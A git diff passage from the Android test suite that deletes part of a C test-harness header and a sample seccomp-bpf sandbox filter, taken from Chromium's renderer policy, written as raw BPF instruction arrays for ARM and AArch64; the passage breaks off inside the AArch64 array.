-#define _EXPECT_EQ(_expected, _seen) \
-  __EXPECT(_expected, _seen, ==, 0)
-#define _EXPECT_NE(_expected, _seen) \
-  __EXPECT(_expected, _seen, !=, 0)
-#define _EXPECT_LT(_expected, _seen) \
-  __EXPECT(_expected, _seen, <, 0)
-#define _EXPECT_LE(_expected, _seen) \
-  __EXPECT(_expected, _seen, <=, 0)
-#define _EXPECT_GT(_expected, _seen) \
-  __EXPECT(_expected, _seen, >, 0)
-#define _EXPECT_GE(_expected, _seen) \
-  __EXPECT(_expected, _seen, >=, 0)
-
-#define _EXPECT_NULL(_seen) \
-  __EXPECT(NULL, _seen, ==, 0)
-#define _EXPECT_TRUE(_seen) \
-  _EXPECT_NE(0, _seen)
-#define _EXPECT_FALSE(_seen) \
-  _EXPECT_EQ(0, _seen)
-
-#define _EXPECT_STREQ(_expected, _seen) \
-  __EXPECT_STR(_expected, _seen, ==, 0)
-#define _EXPECT_STRNE(_expected, _seen) \
-  __EXPECT_STR(_expected, _seen, !=, 0)
-
-/* Support an optional handler after and ASSERT_* or EXPECT_*.  The approach is
- * not thread-safe, but it should be fine in most sane test scenarios.
- *
- * Using __bail(), which optionally abort()s, is the easiest way to early
- * return while still providing an optional block to the API consumer.
- */
-#define OPTIONAL_HANDLER(_assert) \
-  for (; _metadata->trigger;  _metadata->trigger = __bail(_assert))
-
-#define __EXPECT(_expected, _seen, _t, _assert) do { \
-  /* Avoid multiple evaluation of the cases */ \
-  __typeof__(_expected) __exp = (_expected); \
-  __typeof__(_seen) __seen = (_seen); \
-  if (!(__exp _t __seen)) { \
-    unsigned long long __exp_print = 0; \
-    unsigned long long __seen_print = 0; \
-    /* Avoid casting complaints the scariest way we can. */ \
-    memcpy(&__exp_print, &__exp, sizeof(__exp)); \
-    memcpy(&__seen_print, &__seen, sizeof(__seen)); \
-    __TH_LOG("Expected %s (%llu) %s %s (%llu)", \
-            #_expected, __exp_print, #_t, \
-            #_seen, __seen_print); \
-    _metadata->passed = 0; \
-    /* Ensure the optional handler is triggered */ \
-    _metadata->trigger = 1; \
-  } \
-} while (0); OPTIONAL_HANDLER(_assert)
-
-#define __EXPECT_STR(_expected, _seen, _t, _assert) do { \
-  const char *__exp = (_expected); \
-  const char *__seen = (_seen); \
-  if (!(strcmp(__exp, __seen) _t 0))  { \
-    __TH_LOG("Expected '%s' %s '%s'.", __exp, #_t, __seen); \
-    _metadata->passed = 0; \
-    _metadata->trigger = 1; \
-  } \
-} while (0); OPTIONAL_HANDLER(_assert)
-
-/* Contains all the information for test execution and status checking. */
-struct __test_metadata {
-  const char *name;
-  void (*fn)(struct __test_metadata *);
-  int termsig;
-  int passed;
-  int trigger; /* extra handler after the evaluation */
-  struct __test_metadata *prev, *next;
-};
-
-/* Storage for the (global) tests to be run. */
-static struct __test_metadata *__test_list = NULL;
-static unsigned int __test_count = 0;
-static unsigned int __fixture_count = 0;
-static int __constructor_order = 0;
-
-#define _CONSTRUCTOR_ORDER_FORWARD   1
-#define _CONSTRUCTOR_ORDER_BACKWARD -1
-
-/*
- * Since constructors are called in reverse order, reverse the test
- * list so tests are run in source declaration order.
- * https://gcc.gnu.org/onlinedocs/gccint/Initialization.html
- * However, it seems not all toolchains do this correctly, so use
- * __constructor_order to detect which direction is called first
- * and adjust list building logic to get things running in the right
- * direction.
- */
-static inline void __register_test(struct __test_metadata *t) {
-  __test_count++;
-  /* Circular linked list where only prev is circular. */
-  if (__test_list == NULL) {
-    __test_list = t;
-    t->next = NULL;
-    t->prev = t;
-    return;
-  }
-  if (__constructor_order == _CONSTRUCTOR_ORDER_FORWARD) {
-    t->next = NULL;
-    t->prev = __test_list->prev;
-    t->prev->next = t;
-    __test_list->prev = t;
-  } else {
-    t->next = __test_list;
-    t->next->prev = t;
-    t->prev = t;
-    __test_list = t;
-  }
-}
-
-static inline int __bail(int for_realz) {
-  if (for_realz)
-    abort();
-  return 0;
-}
-
-void __run_test(struct __test_metadata *t) {
-  pid_t child_pid;
-  int status;
-  t->passed = 1;
-  t->trigger = 0;
-  printf("[ RUN      ] %s\n", t->name);
-  child_pid = fork();
-  if (child_pid < 0) {
-    printf("ERROR SPAWNING TEST CHILD\n");
-    t->passed = 0;
-  } else if (child_pid == 0) {
-    t->fn(t);
-    _exit(t->passed);
-  } else {
-    /* TODO(wad) add timeout support. */
-    waitpid(child_pid, &status, 0);
-    if (WIFEXITED(status)) {
-      t->passed = t->termsig == -1 ? WEXITSTATUS(status) : 0;
-      if (t->termsig != -1) {
-       fprintf(TH_LOG_STREAM,
-                "%s: Test exited normally instead of by signal (code: %d)\n",
-               t->name,
-               WEXITSTATUS(status));
-      }
-    } else if (WIFSIGNALED(status)) {
-      t->passed = 0;
-      if (WTERMSIG(status) == SIGABRT) {
-        fprintf(TH_LOG_STREAM,
-                "%s: Test terminated by assertion\n",
-               t->name);
-      } else if (WTERMSIG(status) == t->termsig) {
-        t->passed = 1;
-      } else {
-        fprintf(TH_LOG_STREAM,
-                "%s: Test terminated unexpectedly by signal %d\n",
-               t->name,
-               WTERMSIG(status));
-      }
-    } else {
-        fprintf(TH_LOG_STREAM,
-                "%s: Test ended in some other way [%u]\n",
-               t->name,
-               status);
-    }
-  }
-  printf("[     %4s ] %s\n", (t->passed ? "OK" : "FAIL"), t->name);
-}
-
-static int test_harness_run(int __attribute__((unused)) argc,
-                            char __attribute__((unused)) **argv) {
-  struct __test_metadata *t;
-  int ret = 0;
-  unsigned int count = 0;
-  unsigned int pass_count = 0;
-
-  /* TODO(wad) add optional arguments similar to gtest. */
-  printf("[==========] Running %u tests from %u test cases.\n",
-          __test_count, __fixture_count + 1);
-  for (t = __test_list; t; t = t->next) {
-    count++;
-    __run_test(t);
-    if (t->passed)
-      pass_count++;
-    else
-      ret = 1;
-  }
-  /* TODO(wad) organize by fixtures since ordering is not guaranteed now. */
-  printf("[==========] %u / %u tests passed.\n", pass_count, count);
-  printf("[  %s  ]\n", (ret ? "FAILED" : "PASSED"));
-  return ret;
-}
-
-static void __attribute__((constructor)) __constructor_order_first(void) {
-  if (!__constructor_order)
-    __constructor_order = _CONSTRUCTOR_ORDER_FORWARD;
-}
-
-#endif  /* TEST_HARNESS_H_ */
diff --git a/tests/tests/os/jni/seccomp_sample_program.cpp b/tests/tests/os/jni/seccomp_sample_program.cpp
deleted file mode 100644
index eb1e9a6..0000000
--- a/tests/tests/os/jni/seccomp_sample_program.cpp
+++ /dev/null
@@ -1,1532 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <linux/filter.h>
-
-// This file defines a sample seccomp-bpf policy. It is taken from the
-// Chromium renderer process policy applied to isolatedProcess services.
-//
-// In the future, this policy should be further restricted to just the set
-// of system calls that an isolatedProcess should be allowed to make.
-
-#if defined(__arm__)
-struct sock_filter kTestSeccompFilter[] = {
-  {0x20, 0, 0, 0x4},
-  {0x15, 1, 0, 0x40000028},
-  {0x6, 0, 0, 0x30006},
-  {0x20, 0, 0, 0x0},
-  {0x35, 0, 90, 0xab},
-  {0x35, 0, 43, 0x108},
-  {0x35, 0, 21, 0x14f},
-  {0x35, 0, 10, 0x168},
-  {0x35, 0, 5, 0x181},
-  {0x35, 0, 2, 0xf0006},
-  {0x35, 0, 72, 0xffff0},
-  {0x35, 71, 67, 0xffff1},
-  {0x35, 0, 67, 0x182},
-  {0x35, 65, 69, 0xf0001},
-  {0x35, 0, 2, 0x16f},
-  {0x35, 0, 67, 0x17e},
-  {0x35, 66, 63, 0x180},
-  {0x35, 62, 65, 0x16e},
-  {0x35, 0, 5, 0x15b},
-  {0x35, 0, 2, 0x160},
-  {0x35, 0, 59, 0x161},
-  {0x35, 57, 61, 0x165},
-  {0x35, 0, 60, 0x15c},
-  {0x35, 59, 56, 0x15d},
-  {0x35, 0, 2, 0x152},
-  {0x35, 0, 54, 0x153},
-  {0x35, 52, 56, 0x15a},
-  {0x35, 55, 51, 0x151},
-  {0x35, 0, 10, 0x121},
-  {0x35, 0, 5, 0x138},
-  {0x35, 0, 2, 0x143},
-  {0x35, 0, 48, 0x147},
-  {0x35, 47, 46, 0x148},
-  {0x35, 0, 46, 0x139},
-  {0x35, 44, 48, 0x142},
-  {0x35, 0, 2, 0x127},
-  {0x35, 0, 42, 0x12a},
-  {0x35, 45, 42, 0x135},
-  {0x35, 44, 40, 0x126},
-  {0x35, 0, 4, 0x10e},
-  {0x35, 0, 2, 0x119},
-  {0x35, 0, 38, 0x11e},
-  {0x35, 137, 40, 0x120},
-  {0x35, 35, 39, 0x118},
-  {0x35, 0, 3, 0x10b},
-  {0x35, 0, 37, 0x10c},
-  {0x35, 33, 0, 0x10d},
-  {0x5, 0, 0, 0x11c},
-  {0x35, 31, 34, 0x10a},
-  {0x35, 0, 22, 0xce},
-  {0x35, 0, 11, 0xee},
-  {0x35, 0, 5, 0xf9},
-  {0x35, 0, 2, 0x100},
-  {0x35, 0, 25, 0x101},
-  {0x35, 129, 28, 0x107},
-  {0x35, 0, 24, 0xfa},
-  {0x35, 26, 22, 0xfd},
-  {0x35, 0, 2, 0xf0},
-  {0x35, 0, 149, 0xf1},
-  {0x35, 19, 23, 0xf8},
-  {0x35, 22, 0, 0xef},
-  {0x5, 0, 0, 0x113},
-  {0x35, 0, 5, 0xda},
-  {0x35, 0, 2, 0xde},
-  {0x35, 0, 18, 0xe0},
-  {0x35, 17, 13, 0xe1},
-  {0x35, 0, 16, 0xdc},
-  {0x35, 224, 175, 0xdd},
-  {0x35, 0, 2, 0xd2},
-  {0x35, 0, 10, 0xd3},
-  {0x35, 9, 8, 0xd4},
-  {0x35, 7, 8, 0xd1},
-  {0x35, 0, 13, 0xb9},
-  {0x35, 0, 7, 0xc1},
-  {0x35, 0, 2, 0xc7},
-  {0x35, 0, 3, 0xcb},
-  {0x35, 2, 3, 0xcd},
-  {0x35, 0, 2, 0xc5},
-  {0x35, 1, 0, 0xc6},
-  {0x5, 0, 0, 0x103},
-  {0x5, 0, 0, 0x101},
-  {0x35, 0, 3, 0xbb},
-  {0x35, 1, 0, 0xbf},
-  {0x5, 0, 0, 0x100},
-  {0x35, 162, 254, 0xc0},
-  {0x35, 253, 252, 0xba},
-  {0x35, 0, 4, 0xb2},
-  {0x35, 0, 2, 0xb5},
-  {0x35, 0, 251, 0xb6},
-  {0x35, 249, 248, 0xb8},
-  {0x35, 248, 249, 0xb4},
-  {0x35, 0, 2, 0xad},
-  {0x35, 0, 246, 0xb0},
-  {0x35, 245, 246, 0xb1},
-  {0x35, 156, 244, 0xac},
-  {0x35, 0, 42, 0x52},
-  {0x35, 0, 21, 0x7e},
-  {0x35, 0, 10, 0x96},
-  {0x35, 0, 5, 0xa4},
-  {0x35, 0, 2, 0xa8},
-  {0x35, 0, 238, 0xa9},
-  {0x35, 236, 238, 0xaa},
-  {0x35, 0, 235, 0xa5},
-  {0x35, 236, 235, 0xa6},
-  {0x35, 0, 2, 0x9e},
-  {0x35, 0, 233, 0x9f},
-  {0x35, 232, 233, 0xa2},
-  {0x35, 232, 231, 0x98},
-  {0x35, 0, 5, 0x8c},
-  {0x35, 0, 2, 0x90},
-  {0x35, 0, 229, 0x91},
-  {0x35, 228, 227, 0x94},
-  {0x35, 0, 226, 0x8d},
-  {0x35, 225, 224, 0x8e},
-  {0x35, 0, 2, 0x85},
-  {0x35, 0, 222, 0x86},
-  {0x35, 221, 223, 0x8a},
-  {0x35, 222, 221, 0x7f},
-  {0x35, 0, 10, 0x64},
-  {0x35, 0, 5, 0x73},
-  {0x35, 0, 2, 0x7a},
-  {0x35, 0, 217, 0x7b},
-  {0x35, 165, 217, 0x7d},
-  {0x35, 0, 216, 0x77},
-  {0x35, 215, 214, 0x79},
-  {0x35, 0, 2, 0x6c},
-  {0x35, 0, 212, 0x6d},
-  {0x35, 211, 212, 0x72},
-  {0x35, 209, 211, 0x6a},
-  {0x35, 0, 4, 0x5b},
-  {0x35, 0, 2, 0x60},
-  {0x35, 0, 207, 0x62},
-  {0x35, 205, 207, 0x63},
-  {0x35, 204, 205, 0x5c},
-  {0x35, 0, 2, 0x54},
-  {0x35, 0, 204, 0x55},
-  {0x35, 203, 201, 0x57},
-  {0x35, 200, 202, 0x53},
-  {0x35, 0, 21, 0x2d},
-  {0x35, 0, 10, 0x3e},
-  {0x35, 0, 5, 0x46},
-  {0x35, 0, 2, 0x4f},
-  {0x35, 0, 197, 0x50},
-  {0x35, 194, 195, 0x51},
-  {0x35, 0, 193, 0x48},
-  {0x35, 193, 194, 0x4e},
-  {0x35, 0, 2, 0x41},
-  {0x35, 0, 192, 0x43},
-  {0x35, 191, 190, 0x44},
-  {0x35, 189, 188, 0x3f},
-  {0x35, 0, 5, 0x33},
-  {0x35, 0, 2, 0x38},
-  {0x35, 0, 187, 0x3c},
-  {0x35, 186, 184, 0x3d},
-  {0x35, 0, 185, 0x36},
-  {0x35, 136, 183, 0x37},
-  {0x35, 0, 2, 0x2f},
-  {0x35, 0, 181, 0x30},
-  {0x35, 180, 181, 0x31},
-  {0x35, 178, 179, 0x2e},
-  {0x35, 0, 10, 0x17},
-  {0x35, 0, 5, 0x21},
-  {0x35, 0, 2, 0x26},
-  {0x35, 0, 174, 0x29},
-  {0x35, 175, 174, 0x2b},
-  {0x35, 0, 172, 0x22},
-  {0x35, 165, 173, 0x25},
-  {0x35, 0, 2, 0x19},
-  {0x35, 0, 171, 0x1d},
-  {0x35, 170, 169, 0x1e},
-  {0x35, 168, 167, 0x18},
-  {0x35, 0, 4, 0xd},
-  {0x35, 0, 2, 0x11},
-  {0x35, 0, 166, 0x13},
-  {0x35, 165, 164, 0x15},
-  {0x35, 162, 164, 0xe},
-  {0x35, 0, 2, 0x3},
-  {0x35, 0, 161, 0x7},
-  {0x35, 159, 161, 0x8},
-  {0x35, 158, 159, 0x2},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 152, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 155, 156, 0x1},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 148, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 151, 0, 0x1},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 144, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 147, 0, 0x6},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 140, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 143, 0, 0x2},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 136, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 139, 0, 0x0},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 132, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 135, 0, 0x5},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 128, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 131, 132, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 124, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 127, 0xfffffe7f},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 120, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 122, 0, 0x1},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 115, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 117, 0, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 110, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 112, 0, 0x4},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 105, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 107, 0, 0x5},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 100, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 102, 0, 0x9},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 95, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 97, 0, 0xa},
-  {0x6, 0, 0, 0x30005},
-  {0x20, 0, 0, 0x24},
-  {0x15, 0, 89, 0x0},
-  {0x20, 0, 0, 0x20},
-  {0x15, 92, 91, 0x4},
-  {0x20, 0, 0, 0x2c},
-  {0x15, 0, 85, 0x0},
-  {0x20, 0, 0, 0x28},
-  {0x45, 89, 88, 0xfffdb7cc},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 81, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 84, 0, 0x10},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 77, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 80, 0, 0xf},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 73, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 76, 0, 0x3},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 69, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 72, 0, 0x4},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 65, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 68, 0, 0x53564d41},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 61, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 64, 0, 0x59616d61},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 57, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 60, 0, 0x29},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 53, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 56, 0, 0x2b},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 49, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 52, 0, 0x7f},
-  {0x6, 0, 0, 0x30004},
-  {0x20, 0, 0, 0x24},
-  {0x15, 0, 44, 0x0},
-  {0x20, 0, 0, 0x20},
-  {0x45, 48, 47, 0xfffffff8},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 40, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 43, 0, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 36, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 39, 0, 0x1},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 32, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 35, 0, 0x2},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 28, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 31, 0, 0x6},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 24, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 27, 0, 0x7},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 20, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 23, 0, 0x5},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 16, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 19, 0, 0x0},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 12, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 15, 0, 0x406},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 8, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 0, 12, 0x4},
-  {0x20, 0, 0, 0x24},
-  {0x15, 0, 4, 0x0},
-  {0x20, 0, 0, 0x20},
-  {0x45, 8, 7, 0xfff1e3fc},
-  {0x20, 0, 0, 0x14},
-  {0x15, 1, 0, 0x0},
-  {0x6, 0, 0, 0x30003},
-  {0x20, 0, 0, 0x10},
-  {0x15, 2, 0, 0xfc1},
-  {0x6, 0, 0, 0x30002},
-  {0x6, 0, 0, 0x50001},
-  {0x6, 0, 0, 0x7fff0000},
-  {0x6, 0, 0, 0x30001},
-};
-#elif defined(__aarch64__)
-struct sock_filter kTestSeccompFilter[] = {
-  {0x20, 0, 0, 0x4},
-  {0x15, 1, 0, 0xc00000b7},
-  {0x6, 0, 0, 0x30006},
-  {0x20, 0, 0, 0x0},
-  {0x35, 0, 51, 0x88},
-  {0x35, 0, 25, 0xba},
-  {0x35, 0, 12, 0xdf},
-  {0x35, 0, 6, 0xea},
-  {0x35, 0, 3, 0x104},
-  {0x35, 0, 1, 0x114},
-  {0x35, 95, 104, 0x116},
-  {0x35, 94, 104, 0x105},
-  {0x35, 0, 93, 0xf2},
-  {0x35, 92, 101, 0xf3},
-  {0x35, 0, 2, 0xe4},
-  {0x35, 0, 100, 0xe6},
-  {0x35, 90, 89, 0xe9},
-  {0x35, 0, 88, 0xe2},
-  {0x35, 87, 98, 0xe3},
-  {0x35, 0, 6, 0xd1},
-  {0x35, 0, 3, 0xd9},
-  {0x35, 0, 1, 0xdd},
-  {0x35, 101, 92, 0xde},
-  {0x35, 92, 82, 0xdc},
-  {0x35, 0, 91, 0xd5},
-  {0x35, 90, 80, 0xd6},
-  {0x35, 0, 2, 0xcc},
-  {0x35, 0, 78, 0xce},
-  {0x35, 77, 87, 0xd0},
-  {0x35, 0, 85, 0xc7},
-  {0x35, 84, 100, 0xc8},
-  {0x35, 0, 12, 0x9e},
-  {0x35, 0, 6, 0xa6},
-  {0x35, 0, 3, 0xa9},
-  {0x35, 0, 1, 0xac},
-  {0x35, 70, 80, 0xb3},
-  {0x35, 69, 79, 0xaa},
-  {0x35, 0, 77, 0xa7},
-  {0x35, 67, 99, 0xa8},
-  {0x35, 0, 2, 0xa1},
-  {0x35, 0, 65, 0xa3},
-  {0x35, 64, 74, 0xa4},
-  {0x35, 0, 73, 0x9f},
-  {0x35, 72, 71, 0xa0},
-  {0x35, 0, 6, 0x94},
-  {0x35, 0, 3, 0x97},
-  {0x35, 0, 1, 0x9c},
-  {0x35, 58, 68, 0x9d},
-  {0x35, 57, 66, 0x99},
-  {0x35, 0, 66, 0x95},
-  {0x35, 65, 64, 0x96},
-  {0x35, 0, 2, 0x8b},
-  {0x35, 0, 63, 0x8e},
-  {0x35, 61, 52, 0x8f},
-  {0x35, 0, 51, 0x89},
-  {0x35, 50, 60, 0x8a},
-  {0x35, 0, 25, 0x4e},
-  {0x35, 0, 12, 0x65},
-  {0x35, 0, 6, 0x80},
-  {0x35, 0, 3, 0x83},
-  {0x35, 0, 1, 0x85},
-  {0x35, 54, 44, 0x86},
-  {0x35, 53, 139, 0x84},
-  {0x35, 0, 52, 0x81},
-  {0x35, 144, 137, 0x82},
-  {0x35, 0, 2, 0x72},
-  {0x35, 0, 39, 0x7c},
-  {0x35, 38, 48, 0x7d},
-  {0x35, 0, 47, 0x66},
-  {0x35, 140, 36, 0x71},
-  {0x35, 0, 6, 0x5b},
-  {0x35, 0, 3, 0x61},
-  {0x35, 0, 1, 0x63},
-  {0x35, 32, 41, 0x64},
-  {0x35, 177, 31, 0x62},
-  {0x35, 0, 39, 0x5c},
-  {0x35, 39, 29, 0x5d},
-  {0x35, 0, 2, 0x58},
-  {0x35, 0, 36, 0x59},
-  {0x35, 36, 26, 0x5a},
-  {0x35, 0, 34, 0x4f},
-  {0x35, 24, 34, 0x51},
-  {0x35, 0, 12, 0x2c},
-  {0x35, 0, 6, 0x3b},
-  {0x35, 0, 3, 0x3e},
-  {0x35, 0, 1, 0x48},
-  {0x35, 19, 29, 0x4a},
-  {0x35, 18, 28, 0x44},
-  {0x35, 0, 27, 0x3c},
-  {0x35, 25, 16, 0x3d},
-  {0x35, 0, 2, 0x34},
-  {0x35, 0, 23, 0x38},
-  {0x35, 13, 23, 0x3a},
-  {0x35, 0, 12, 0x2d},
-  {0x35, 11, 20, 0x33},
-  {0x35, 0, 5, 0x1d},
-  {0x35, 0, 2, 0x21},
-  {0x35, 0, 17, 0x27},
-  {0x35, 16, 7, 0x2b},
-  {0x35, 0, 16, 0x1e},
-  {0x35, 15, 5, 0x20},
-  {0x35, 0, 2, 0x14},
-  {0x35, 0, 13, 0x19},
-  {0x35, 2, 204, 0x1a},
-  {0x35, 0, 1, 0x11},
-  {0x35, 0, 9, 0x13},
-  {0x5, 0, 0, 0x10f},
-  {0x20, 0, 0, 0x24},
-  {0x15, 4, 0, 0x0},
-  {0x15, 0, 2, 0xffffffff},
-  {0x20, 0, 0, 0x20},
-  {0x45, 1, 0, 0x80000000},
-  {0x5, 0, 0, 0x100},
-  {0x20, 0, 0, 0x20},
-  {0x15, 1, 0, 0x4},
-  {0x5, 0, 0, 0x105},
-  {0x5, 0, 0, 0x103},
-  {0x20, 0, 0, 0x24},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 249, 0xffffffff},
-  {0x20, 0, 0, 0x20},
-  {0x45, 0, 247, 0x80000000},
-  {0x20, 0, 0, 0x20},
-  {0x45, 254, 252, 0xfffffff8},
-  {0x20, 0, 0, 0x2c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 242, 0xffffffff},
-  {0x20, 0, 0, 0x28},
-  {0x45, 0, 240, 0x80000000},
-  {0x20, 0, 0, 0x28},
-  {0x45, 247, 245, 0xfffdb7cc},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 235, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 233, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 238, 240, 0x1},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 228, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 226, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 231, 0, 0x10},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 221, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 219, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 224, 0, 0xf},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 214, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 212, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 217, 0, 0x3},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 207, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 205, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 210, 0, 0x4},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 200, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 198, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 203, 0, 0x53564d41},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 193, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 191, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 196, 0, 0x59616d61},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 186, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 184, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 189, 0, 0x29},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 179, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 177, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 182, 0, 0x2b},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 172, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 170, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 175, 0, 0x7f},
-  {0x6, 0, 0, 0x30005},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 164, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 162, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 167, 0, 0x111a},
-  {0x6, 0, 0, 0x30004},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 156, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 154, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 159, 0, 0x1},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 149, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 147, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 152, 0, 0x6},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 142, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 140, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 145, 0, 0x2},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 135, 0xffffffff},
-  {0x20, 0, 0, 0x10},
